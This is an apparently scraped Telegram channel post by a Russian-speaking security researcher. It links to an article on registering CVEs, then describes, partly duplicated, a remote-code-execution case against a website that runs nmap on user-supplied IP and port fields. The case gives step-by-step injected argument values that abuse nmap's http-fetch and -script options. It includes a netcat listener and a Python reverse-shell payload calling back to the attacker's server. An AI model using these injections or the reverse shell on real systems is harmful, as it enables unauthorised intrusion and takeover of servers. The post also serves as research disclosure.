Немного с опозданием (по определенным обстоятельствам), но, как и обещал, написал заметку про получение CVE.
https://telegra.ph/cve-publication-06-06
#research #cve #0day
@onebrick
https://telegra.ph/cve-publication-06-06
#research #cve #0day
@onebrick
Telegraph
Что такое CVE и как его зарегистрировать?
Привет, уважаемый читатель! Я Мурат из компании NitroTeam.kz. В этой мини-статье я расскажу что такое CVE, как его получить и опубликовать. Из Википедии, CVE (англ. Common Vulnerabilities and Exposures) — база данных общеизвестных уязвимостей информационной…
Очень давно был интересный кейс с сайтом для системных администраторов, где можно было проверить открыт ли порт сайта. Первое, что пришло голову, это вписать в IP:
В составе nmap есть модуль http-fetch, который умеет ходить по URL и скачивать файлы. Более того, можно даже указать куда сохранить файл. Немного покурив, как работают скрипты nmap, было обнаружено, что через функцию os.execute() можно выполнять команды.
0) На своем сервере открываем порт 8888:
1) Создаем у себя на сервере файл index.php с содержимым:
4) Запускаем скачанный скрипт, вписав вместо порта:
Таким образом, иногда необязательно выходить за рамки команды, вписывая такие символы, как | & ;.
Вот такой вот зиродей😁
#case #nmap #research #rce
127.0.0.1 -hВ результате сайт вернул мануал nmap-a. Но многие символы фильтровались и выйти за переделы команды nmap-а не удалось. После этого, путем проб и ошибок, был найден интересный вектор remote code execution.
В составе nmap есть модуль http-fetch, который умеет ходить по URL и скачивать файлы. Более того, можно даже указать куда сохранить файл. Немного покурив, как работают скрипты nmap, было обнаружено, что через функцию os.execute() можно выполнять команды.
0) На своем сервере открываем порт 8888:
nc -lvp 8888Допустим IP вашего сервера 1.1.1.1
1) Создаем у себя на сервере файл index.php с содержимым:
os.execute("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.1.1.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")2) Запускаем встроенный сервер php:
php -S 0.0.0.0:80803) На атакуемом сайте вместо IP пишем:
1.1.1.1 -script http-fetchВместо порта:
8080 -dd -script-args destination=/tmpТ.е. на бэкенде сайта команда преобразуется в что-то типа:
nmap 1.1.1.1 -script http-fetch -p 8080 -dd -script-args destination=/tmpВ результате выполнения этой команды, по пути
/tmp/1.1.1.1/8080/index.html
будет лежат скрипт с первого шага.4) Запускаем скачанный скрипт, вписав вместо порта:
8080 -dd -script /tmp/1.1.1.1/8080/index.htmlи получаем бэкконнект.
Таким образом, иногда необязательно выходить за рамки команды, вписывая такие символы, как | & ;.
Вот такой вот зиродей😁
#case #nmap #research #rce